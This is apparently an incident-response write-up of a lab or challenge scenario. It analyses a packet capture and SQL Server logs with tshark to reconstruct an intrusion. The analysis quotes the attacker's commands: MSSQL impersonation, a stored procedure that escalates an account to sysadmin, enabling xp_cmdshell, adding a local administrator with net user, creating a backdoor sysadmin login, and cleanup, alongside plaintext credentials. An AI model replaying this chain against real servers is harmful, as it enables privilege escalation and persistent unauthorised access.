The session with the log.txt ended around 23:12 UTC. This session is starting at 23:13 UTC. This means it started just after the other ended.
From the protocol hierarchy, we see HTTP. If there is HTTP then we should see some methods, etc.,
$ tshark -n -r 5_49704-4_5985.pcapng -t ud -T fields -e http.request.method | sort | uniq --count 673 95 POST
95 POST. Ok, let's see what is going on here. Looking at two of these POST message, we see.
$ tshark -n -r 5_49704-4_5985.pcapng -t ud -Y 'http.request.method==POST' 10 2023-07-23 23:13:04.821860 10.240.240.5 → 10.240.240.4 HTTP/XML 664 POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1 19 2023-07-23 23:13:05.281275 10.240.240.5 → 10.240.240.4 HTTP/XML 721 POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1
Expanding Frame 10, to see what else we can learn, we see "Microsoft WinRM Client" and "PS Remoting version 5.1" being used to connect from 10.240.240.5 to 10.240.240.4. If we pay close attention below, we see the base64 credentials have been decoded by TShark, hence we have the credentials "littlenewman:password" being used to connect to Windows device.
Evidence in the log analysis shows this account littlenewman with password password was created as a result of the Win11Updates.exe file, which was executed on Jerry-PC.
$ tshark -n -r 5_49704-4_5985.pcapng -t ud -Y 'frame.number==10' -V | sed '1,96d;121,$d' Hypertext Transfer Protocol POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1\r\n [Expert Info (Chat/Sequence): POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1\r\n] [POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1\r\n] [Severity level: Chat] [Group: Sequence] Request Method: POST Request URI: /wsman?PSVersion=5.1.22621.1778 Request URI Path: /wsman Request URI Query: PSVersion=5.1.22621.1778 Request URI Query Parameter: PSVersion=5.1.22621.1778 Request Version: HTTP/1.1 Connection: Keep-Alive\r\n Content-Type: application/soap+xml;charset=UTF-8\r\n User-Agent: Microsoft WinRM Client\r\n Content-Length: 7910\r\n [Content length: 7910] Host: 10.240.240.4:5985\r\n Authorization: Basic bGl0dGxlbmV3bWFuOnBhc3N3b3Jk\r\n Credentials: littlenewman:password \r\n [Full request URI: http://10.240.240.4:5985/wsman?PSVersion=5.1.22621.1778] [HTTP request 1/1] File Data: 7910 bytes
With 7910 bytes, it is only fair that we look into this to see what is there. Looking at the data from the perspective of YAML.
$ tshark -n -r 5_49704-4_5985.pcapng -t ud -q -z follow,tcp,yaml,0 | more peers: - peer: 0 host: 10.240.240.5 port: 49704 - peer: 1 host: 10.240.240.4 port: 5985 packets: - packet: 4 peer: 0 timestamp: 1690153984.821707964 data: !!binary | UE9TVCAvd3NtYW4/UFNWZXJzaW9uPTUuMS4yMjYyMS4xNzc4IEhUVFAvMS4xDQpDb25uZWN0aW9u OiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3NvYXAreG1sO2NoYXJzZXQ9 VVRGLTgNClVzZXItQWdlbnQ6IE1pY3Jvc29mdCBXaW5STSBDbGllbnQNCkNvbnRlbnQtTGVuZ3Ro OiA3OTEwDQpIb3N0OiAxMC4yNDAuMjQwLjQ6NTk4NQ0KQXV0aG9yaXphdGlvbjogQmFzaWMgYkds MGRHeGxibVYzYldGdU9uQmhjM04zYjNKaw0KDQo= - packet: 5 peer: 0 timestamp: 1690153984.821860075 data: !!binary | PHM6RW52ZWxvcGUgeG1sbnM6cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMy8wNS9zb2FwLWVudmVs b3BlIiB4bWxuczphPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA0LzA4L2FkZHJl c3NpbmciIHhtbG5zOnc9Imh0dHA6Ly9zY2hlbWFzLmRtdGYub3JnL3diZW0vd3NtYW4vMS93c21h bi54c2QiIHhtbG5zOnA9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2JlbS93c21hbi8x L3dzbWFuLnhzZCI+PHM6SGVhZGVyPjxhOlRvPmh0dHA6Ly8xMC4yNDAuMjQwLjQ6NTk4NS93c21h bj9QU1ZlcnNpb249NS4xLjIyNjIxLjE3Nzg8L2E6VG8+PHc6UmVzb3VyY2VVUkkgczptdXN0VW5k ZXJzdGFuZD0idHJ1ZSI+aHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9wb3dlcnNoZWxsL01p Y3Jvc29mdC5Qb3dlclNoZWxsPC93OlJlc291cmNlVVJJPjxhOlJlcGx5VG8+PGE6QWRkcmVzcyBz Om11c3RVbmRlcnN0YW5kPSJ0cnVlIj5odHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA0 LzA4L2FkZHJlc3Npbmcvcm9sZS9hbm9ueW1vdXM8L2E6QWRkcmVzcz48L2E6UmVwbHlUbz48YTpB Y3Rpb24gczptdXN0VW5kZXJzdGFuZD0idHJ1ZSI+aHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcv d3MvMjAwNC8wOS90cmFuc2Zlci9DcmVhdGU8L2E6QWN0aW9uPjx3Ok1heEVudmVsb3BlU2l6ZSBz Om11c3RVbmRlcnN0YW5kPSJ0cnVlIj41MTIwMDA8L3c6TWF4RW52ZWxvcGVTaXplPjxhOk1lc3Nh Z2VJRD51dWlkOjM2QjQwNzg4LUVBM0MtNDIyRC1BOTY1LTc1NUQ2RDhCMkJDNzwvYTpNZXNzYWdl SUQ+PHc6TG9jYWxlIHhtbDpsYW5nPSJlbi1VUyIgczptdXN0VW5kZXJzdGFuZD0iZmFsc2UiIC8+ PHA6RGF0YUxvY2FsZSB4bWw6bGFuZz0iZW4tVVMiIHM6bXVzdFVuZGVyc3RhbmQ9ImZhbHNlIiAv PjxwOlNlc3Npb25JZCBzOm11c3RVbmRlcnN0YW5kPSJmYWxzZSI+dXVpZDowN0UwMUREMC05RDA5 LTQ0REYtQTAxNy00NERGRUQxNzlDNTA8L3A6U2Vzc2lvbklkPjxwOk9wZXJhdGlvbklEIHM6bXVz dFVuZGVyc3RhbmQ9ImZhbHNlIj51dWlkOkY5QzIyRTAxLTFBRkItNDNDNy04QzdCLTAxRjRENDk0 RTYzRTwvcDpPcGVyYXRpb25JRD48cDpTZXF1ZW5jZUlkIHM6bXVzdFVuZGVyc3RhbmQ9ImZhbHNl Ij4xPC9wOlNlcXVlbmNlSWQ+PHc6T3B0aW9uU2V0IHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5v cmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHM6bXVzdFVuZGVyc3RhbmQ9InRydWUiPjx3Ok9w dGlvbiBOYW1lPSJwcm90b2NvbHZlcnNpb24iIE11c3RDb21wbHk9InRydWUiPjIuMzwvdzpPcHRp b24+PC93Ok9wdGlvblNldD48dzpPcGVyYXRpb25UaW1lb3V0PlBUMTgwLjAwMFM8L3c6T3BlcmF0 aW9uVGltZW91dD48cnNwOkNvbXByZXNzaW9uVHlwZSBzOm11c3RVbmRlcnN0YW5kPSJ0cnVlIiB4 bWxuczpyc3A9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC4=
What we want is the data from above. Here is how we can get that using yq.
$ tshark -n -r 5_49704-4_5985.pcapng -t ud -q -z follow,tcp,yaml,0 | \
yq -e ".packets[0].data" | cut --fields 2 --delimiter '"' | sed 's/\n//g' | \
base64 --decode
POST /wsman?PSVersion=5.1.22621.1778 HTTP/1.1 Connection: Keep-Alive Content-Type: application/soap+xml;charset=UTF-8 User-Agent: Microsoft WinRM Client Content-Length: 7910 Host: 10.240.240.4:5985 Authorization: Basic bGl0dGxlbmV3bWFuOnBhc3N3b3Jk
After reviewing this session from the client perspective, nothing meaningful was found from either the client or the server side of the connection.
Trying another session as there were three WinRM sessions.
Looking at : 10.240.240.5:49706 <-> 10.240.240.4:5985
$ tshark -n -r 5-4.pcap -Y '(ip.addr==10.240.240.5) && (tcp.port==49706) && (ip.addr==10.240.240.4) && (tcp.port==5985)' -w 5_49706-4_5985.pcapng
When did this session start?
$ tshark -r 5_49706-4_5985.pcapng -t ud -c 1 1 2023-07-23 23:13:05.285031 10.240.240.5 → 10.240.240.4 TCP 66 49706 → 5985 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
This session is definitely more interesting than the first. Here are the commands which were run. Below I placed comments to better understand the commands.
$ tshark -r 5_49706-4_5985.pcapng -q -z follow,tcp,ascii,0 | \
grep --perl-regexp '<rsp:Command>.?<' --color=always --only-matching | \
awk --field-separator='<rsp:Command>' '{ print $2 }' | tr --delete '<' | \
sed 's/"//g' | sed 's/prompt//g' | sed 's/'//g'
whoamiComment: Identifies the currently logged in userhostnameComment: Identifies the hostname of the computing deviceSet-ExecutionPolicyComment: I was expecting here to see the policy being set specifically, however, I don't see that here. Fortunately, this was identified in the log analysis sesction.Import-ModuleComment: Similarly, I expected some module being imported. $ConnectionString = Server=10.240.240.6;User=JerrySQL;Password=SecurePassword1337;TrustServerCertificate=TrueComment: Setting up of a connection string to authenticate to the SQL Server at 10.240.240.6.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query SELECT SUSER_SNAME()Comment: Querying the login name of the current security context. I would expect this is just confirmation of JerrySQL.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query SELECT name, SUSER_SNAME(owner_sid) AS DatabaseOwner FROM sys.databases;Comment: List all databases and get the owner information.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Customers; SELECT name AS TableName FROM sys.tables;Comment: Using the Seinfeld_Customers database, select the names of all tables from sys.tables. Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT name AS TableName FROM sys.tables;Comment: Using the Seinfeld_Employees database, select the names of all tables from sys.tables.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT a.name AS UserName, b.name AS RoleName FROM sys.database_role_members drm JOIN sys.database_principals a ON drm.member_principal_id = a.principal_id JOIN sys.databaseComment: Run a query to extract information about roles and principal_id. Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = Data;Comment: Extract information about the fields/columns from the Data table.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT id, Name, Position from Data;Comment: Extract information on employees ID, Name and Position from the Data table.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = Payroll;Comment: Grab information about the Payroll table columns in the Seinfeld_Employees database.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT id, Salary from Payroll;Comment: Select only the id, Salary fields from the Payroll table.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT a.Name, b.Salary FROM Data a LEFT JOIN Payroll b ON b.id = a.id;Comment: Select information on employees name and salary from both the Data and Payroll tables.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; UPDATE Payroll SET Salary = 123456 WHERE id = 5;Comment: Wicked, I get to set my own salary? I envy Newman. At this point, the employee salary is updated?Invoke-Sqlcmd -ConnectionString $ConnectionString -Query USE Seinfeld_Employees; SELECT a.Name, b.Salary FROM Data a LEFT JOIN Payroll b ON b.id = a.id;Comment: Validation that the update in salary was successful.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query SELECT name, type_desc FROM sys.server_principals WHERE type IN (S, U)Comment: Querying the Server Principals. Looking at Microsoft's site, the server_principals type does not show "U". S=SQL Login.If we instead look at the database_principals, we see "S = SQL user", "U = Windows user"Invoke-Sqlcmd -ConnectionString $ConnectionString -Query SELECT DISTINCT grantor.name AS GrantorName, grantee.name AS GranteeName FROM sys.server_permissions perm JOIN sys.server_principals grantor ON perm.grantor_principal_id = grantor.principal_id JOINComment: Query information on permissions.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL SELECT SUSER_SNAME(); REVERT;Comment: Attempt to login as user GeorgeSQL then valididate the security context matches GeorgeSQL. Once completed, revert back to JerrySQL as the login user.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Employees; SELECT u.name AS UserName, r.name AS RoleName FROM sys.database_role_members drm JOIN sys.database_principals u ON drm.member_principal_id = Comment: Using GeorgeSQL o the Seinfeld_Employees table query the username and rolesInvoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; SELECT name as DatabaseName, SUSER_SNAME(owner_sid) AS DatabaseOwner, is_trustworthy_on AS TRUSTWORTHY from sys.databases; REVERT;Comment: Select database owner information that GeorgeSQL can see. Also check via the "is_trustworthy_on" attribute, if SQL Trusts the datbase and its contents.Invoke-Sqlcmd -ConnectionString $ConnectionString -Query $Query Comment: Hmmm! I can't remember seeing seeing a $Query variable defined above. Is this an attempt to hide information on the previous queries? It looks so! Or did I miss something?!While above only shows the commands and my interpretation of the objectives. I was unable to identify any response which would be decoded to reflect the response for these commands. Actually, I find this very strange. Maybe I just needed to pay closer attention to the output. In reality the response does not really matter much to me at this time, unless I'm concerned about confirmation of exfiltration. For now I will consider me not being able to detect the response as a minor setback.Writing the final WinRM session out to file for analysis.10.240.240.5:49705 <-> 10.240.240.4:5985
$ tshark -n -r 5-4.pcap -Y '(ip.addr==10.240.240.5) && (tcp.port==49705) && (ip.addr==10.240.240.4) && (tcp.port==5985)' -w 5_49705-4_5985.pcapng
What time did this activity start?
$ tshark -r 5_49705-4_5985.pcapng -t ud -c 1 1 2023-07-23 23:13:05.207334 10.240.240.5 → 10.240.240.4 TCP 66 49705 → 5985 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
This started at 23:13:05 on July 23, 2023. What are the command which were run?
$ tshark -r 5_49705-4_5985.pcapng -q -z follow,tcp,ascii,0 | \
grep --perl-regexp '<rsp:Command>.?<' --color=always --only-matching | \
awk --field-separator='<rsp:Command>' '{ print $2 }' | tr --delete '<' | \
sed 's/"//g' | sed 's/prompt//g' | sed 's/'//g'
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Employees; SELECT IS_SRVROLEMEMBER(sysadmin) as isSysadmin; EXEC Going_Up; SELECT IS_SRVROLEMEMBER(sysadmin) as isSysadmin; USE master; REVERT;Comment: Still using GeorgeSQL. Looking for informaton on sysadmins and ultimately connect to the "master" .
What is this "Going_Up"? Fortuntately, this was identified during the analysis of the logs from the SQL Server.With access to the "master" database, this user now have the keys to the kingdom. Basically full access.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Customers; SELECT name AS TableName FROM sys.tables; USE master; REVERT;Comment: Extract the tables from Seinfeld_Customers, once again switch to "master" then revert to the original user.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Customers; SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = Data; USE master; REVERT;Comment: Looks like some of this information being requested is similar to what was requested in the previous session. This time using GeorgeSQL account and also switching to the "master" database.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Customers; SELECT * from Data; USE master; REVERT;Comment: Select all fields from the Data table
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Customers; SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = Secret; USE master; REVERT;Comment: Grabbing information on the table named secret. Considering I did not find information relating to the results returned so far. I'm going to assume this information was learned from what was returned by some of the previous commands. As previously, there was no attempt to access the table named "Secret". Maybe this is something only visible to those with "sysadmin" permission.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Customers; SELECT * from Secret; USE master; REVERT;Comment: Grab all informtion from the "Secret" table. Are there passwords here?
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell; REVERT;Comment: "sp_configure" is used to view or change configuration settings on the server. It looks like the attacker is looking at "advanced options" then ultimately running the "xp_cmdshell" to gain access to the Windows command prompt.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; REVERT;Comment: Not sure why this is run here …
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_configure xp_cmdshell; REVERT;Comment: … and here. I take this to mean it is either testing or that was not sure what is the string to pass to the command.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC xp_cmdshell whoami; EXEC xp_cmdshell net user NewUser NewPassword /add && net localgroup Administrators NewUser /add; REVERT;Comment: We see a number of commands are run via the shell: "whoami" "net user NewUser NewPassword /add && net localgroup Administrators NewUser /add" Create a new user "NewUser" with password "NewPassword" and add the suer to the "Administrators" group.
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; CREATE LOGIN MailManSQL WITH PASSWORD = L4rg3j4mb4l4y4s0up!!!; REVERT;Comment: Create a user "MailManSQL" with password "L4rg3j4mb4l4y4s0up!!!" on the database
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_addsrvrolemember MailManSQL, sysadmin; REVERT;Comment: Add the newly created user "MailManSQL" to the "sysadmin" group
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query $QueryComment: Is this meant to clear any historical information in the $Query variable?
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; ENABLE TRIGGER MasterOfMySQL ON ALL SERVER; REVERT;Comment: Enable a database trigger to run on all servers.Where was the trigger created? Did I miss this?At this point, it looks like the trigger does nothing other than run on all servers?
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query $QueryComment: Is this meant to clear any historical information in the $Query variable?
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_configure xp_cmdshell, 0; RECONFIGURE; REVERT;Comment: Disable the "xp_cmdshell"
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_configure show advanced options, 0; RECONFIGURE; REVERT;Comment: Turn off the "show advanced options"
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; USE Seinfeld_Employees; DROP PROCEDURE Going_Up; USE master; REVERT;Comment: I asked above what is this "Going_Up"? I see now it was a stored procedure. However, I don't see any evidence of it being created previously. Maybe an oversight?
Invoke-Sqlcmd -ConnectionString $ConnectionString -Query EXECUTE AS LOGIN = GeorgeSQL; EXEC sp_dropsrvrolemember GeorgeSQL, sysadmin; REVERT;Comment: Naughty. Removing GeorgeSQL account from the "syadmin" role.
What do we have for the communication(s) between:10.240.240.4 <-> 10.240.240.6
Writing this session out to a file.
$ tshark -n -r packet_capture.pcapng -Y 'ip.addr==10.240.240.4 && ip.addr==10.240.240.6' -w 4-6.pcapng
Let's look at the protocol hierarchy to see what's there. As you might have noticed, I have done this step quite a few times. It is an important step when doing packet analysis. It should be either the first or the second thing you do once you have received a PCAP.
$ tshark -n -r 4-6.pcapng -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:534 bytes:112389 ip frames:534 bytes:112389 udp frames:2 bytes:291 nbns frames:2 bytes:291 tcp frames:532 bytes:112098 tds frames:141 bytes:47845 tcp.segments frames:3 bytes:3716 _ws.malformed frames:3 bytes:857 tls frames:91 bytes:34985 dcerpc frames:16 bytes:4872 oxid frames:4 bytes:552 isystemactivator frames:2 bytes:1900 data frames:64 bytes:3680 ===================================================================
Looking at the TCP conversations.
$ tshark -n -r 4-6.pcapng -q -z conv,tcp ================================================================================ TCP Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.240.240.4:49685 <-> 10.240.240.6:1433 65 19 kB 90 18 kB 155 37 kB 107.695654000 418.8041 10.240.240.4:49678 <-> 10.240.240.6:1433 51 5,839 bytes 57 11 kB 108 16 kB 26.392676000 480.9564 10.240.240.4:49679 <-> 10.240.240.6:1433 36 2,835 bytes 38 3,416 bytes 74 6,251 bytes 26.411732000 440.0113 10.240.240.4:49675 <-> 10.240.240.6:1433 18 5,774 bytes 31 17 kB 49 23 kB 25.572951000 0.8950 10.240.240.4:49683 <-> 10.240.240.6:1433 23 3,333 bytes 22 5,642 bytes 45 8,975 bytes 27.063125000 0.1133 10.240.240.4:49682 <-> 10.240.240.6:1433 15 2,494 bytes 15 3,900 bytes 30 6,394 bytes 26.936916000 0.1164 10.240.240.4:49676 <-> 10.240.240.6:1433 8 1,566 bytes 10 2,472 bytes 18 4,038 bytes 25.934103000 1.4682 10.240.240.4:49677 <-> 10.240.240.6:1433 7 1,056 bytes 8 1,234 bytes 15 2,290 bytes 26.372522000 0.0392 10.240.240.4:49681 <-> 10.240.240.6:135 6 604 bytes 7 1,876 bytes 13 2,480 bytes 26.480383000 0.0109 10.240.240.4:49684 <-> 10.240.240.6:135 6 604 bytes 7 1,876 bytes 13 2,480 bytes 27.066458000 0.0026 10.240.240.4:49680 <-> 10.240.240.6:135 4 600 bytes 8 632 bytes 12 1,232 bytes 26.475825000 38.3491 ================================================================================
With 11 sessions, we will analyze these directly rather than writing out to files.
Looking at the sessions via following the streams, while showing a lot of SQL related information, did not provide anything I found meaningful to this incident.
Here are the commands I ran as seen by my history looking at the streams from 0 to 10.
2047 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,0 | tr --squeeze-repeats '.' | sed 's/"."//g' 2049 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,1 | tr --squeeze-repeats '.' | sed 's/.//g' 2050 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,2 | tr --squeeze-repeats '.' | sed 's/.//g' 2052 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,3 | tr --squeeze-repeats '.' | sed 's/.//g' | more 2054 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,4 | tr --squeeze-repeats '.' | sed 's/.//g' 2055 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,5 | tr --squeeze-repeats '.' | sed 's/.//g' 2056 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,6 | tr --squeeze-repeats '.' | sed 's/.//g' 2062 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,7 | tr --squeeze-repeats '.' | sed 's/.//g' | more 2063 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,8 | tr --squeeze-repeats '.' | sed 's/.//g' | more 2065 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,9 | tr --squeeze-repeats '.' | sed 's/.//g' 2067 tshark -n -r 4-6.pcapng -q -z follow,tcp,ascii,10 | tr --squeeze-repeats '.' | sed 's/.//g' | more
Looking at the 7 bytes character strings did not return anything meaningful
$ strings 4-6.pcapng --bytes=7
Considering above, I need to get the Unicode data in a more readable manner. It is better to also search for 16 bits Unicode values. Using a few of the keywords from earlier analysis shows yet still nothing meaningful.
$ strings 4-6.pcapng --bytes=7 --encoding=l | grep --perl-regexp --ignore-case "jerry|George|Going|xp_cmd" JerrySQL .JerryJERRY-PC .JerryJERRY-PC
What do we have for the communication(s) between 10.240.240.5 <-> 10.240.240.6 Writing these IPs out to a file:
$ tshark -n -r packet_capture.pcapng -Y 'ip.addr==10.240.240.5 && ip.addr==10.240.240.6' -w 5-6.pcapng
Looking at the protocol hierarchy
$ tshark -n -r 5-6.pcapng -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:482 bytes:36432 ip frames:482 bytes:36432 tcp frames:445 bytes:28091 data frames:2 bytes:308 nbss frames:9 bytes:1072 smb frames:2 bytes:444 tds frames:3 bytes:295 dcerpc frames:1 bytes:78 udp frames:7 bytes:2001 nbns frames:2 bytes:291 data frames:5 bytes:1710 icmp frames:30 bytes:6340 data frames:5 bytes:1850 ===================================================================
Looking at the UDP conversations this time around first.
$ tshark -n -r 5-6.pcapng -q -z conv,udp ================================================================================ UDP Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.240.240.5:63161 <-> 10.240.240.6:44558 0 0 bytes 5 1,710 bytes 5 1,710 bytes 12.963807000 9.2074 10.240.240.5:137 <-> 10.240.240.6:137 1 199 bytes 1 92 bytes 2 291 bytes 3.316114000 0.0001 ================================================================================
Taking a look at that first session that lasted 9.2 seconds. This is interesting because all of this traffic is going from 10.240.240.5 on source port 63161 to 10.240.240.6 on destination port 44558.
If I did not know better I would say from below this is some type of buffer overflow as we have 5 groups of this.
=================================================================== Follow: udp,ascii Filter: udp.stream eq 1 Node 0: 10.240.240.5:63161 Node 1: 10.240.240.6:44558 300 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
The thing about UDP is that there is no "RST" or "RST/ACK" to say the service is not available.
Taking a different approach.
What are those ICMP messages about. Looking at the types and code
$ tshark -n -r 5-6.pcapng -Y 'icmp' -T fields -e icmp.type -e icmp.code -E header=y | sort | uniq --count 10 0 0 5 3,0 2,0 5 3 3 5 8 0 5 8 9 1 icmp.type icmp.code
Nothing there that I would like to spend more time on.
Looking at a few of these TCP sessions
$ tshark -n -r 5-6.pcapng -q -z conv,tcp | head --lines=17 ================================================================================ TCP Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.240.240.5:49688 <-> 10.240.240.6:1433 4 265 bytes 6 412 bytes 10 677 bytes 7.214215000 5.0061 10.240.240.5:63129 <-> 10.240.240.6:135 5 270 bytes 5 370 bytes 10 640 bytes 13.029264000 9.2059 10.240.240.5:63131 <-> 10.240.240.6:135 5 270 bytes 5 370 bytes 10 640 bytes 13.100832000 9.1961 10.240.240.5:63133 <-> 10.240.240.6:7 5 270 bytes 5 370 bytes 10 640 bytes 13.171012000 9.1910 10.240.240.5:63134 <-> 10.240.240.6:7 5 270 bytes 5 370 bytes 10 640 bytes 13.204561000 9.1886 10.240.240.5:49684 <-> 10.240.240.6:135 4 252 bytes 5 468 bytes 9 720 bytes 7.211647000 0.0052 10.240.240.5:49678 <-> 10.240.240.6:135 3 174 bytes 5 332 bytes 8 506 bytes 1.190920000 6.0206 10.240.240.5:49679 <-> 10.240.240.6:139 3 179 bytes 5 318 bytes 8 497 bytes 1.191149000 6.0226 10.240.240.5:49681 <-> 10.240.240.6:1433 3 174 bytes 5 344 bytes 8 518 bytes 1.191463000 6.0224 10.240.240.5:49687 <-> 10.240.240.6:139 3 179 bytes 5 468 bytes 8 647 bytes 7.213755000 0.0037 10.240.240.5:49680 <-> 10.240.240.6:445 2 120 bytes 3 348 bytes 5 468 bytes 1.191310000 6.0177 10.240.240.5:49685 <-> 10.240.240.6:445 2 120 bytes 3 186 bytes 5 306 bytes 7.213397000 0.0024
Reviewing all 60 sessions in this file suggest there is mostly traffic related to some type of SYN scan
Log Analysis - SQL Logs
How many events to we have in this log file.
$ cat sql_logs.csv | wc --lines 45
During the packet analysis, I did not notice the procedure "Going_Up" being created. I can now see this in the log for both its creation usage and deletion at lines 21, 23 and 41 respectively.
$ cat sql_logs.csv --number | grep --ignore-case --perl-regexp 'going' 21 "sql_batch_completed","2023-07-23 19:16:08.3418567","2023-07-23 19:16:08.3418567","0","10215","0","39","93","11","0","0","OK","CREATE PROCEDURE Going_Up WITH EXECUTE AS OWNER AS BEGIN DECLARE @SQL NVARCHAR(MAX); SET @SQL = N' EXEC sp_addsrvrolemember ''GeorgeSQL'', ''sysadmin'''; EXEC sp_executesql @SQL; REVERT; END; ","GeorgeSQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","GeorgeSQL","MSSQL-SR","Seinfeld_Employees","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:16:08.4291040"
Comment: This looks like a store procedure is created using the current security context of the database owner. Looks like GeorgeSQL account is being added to the "sysadmin" group.
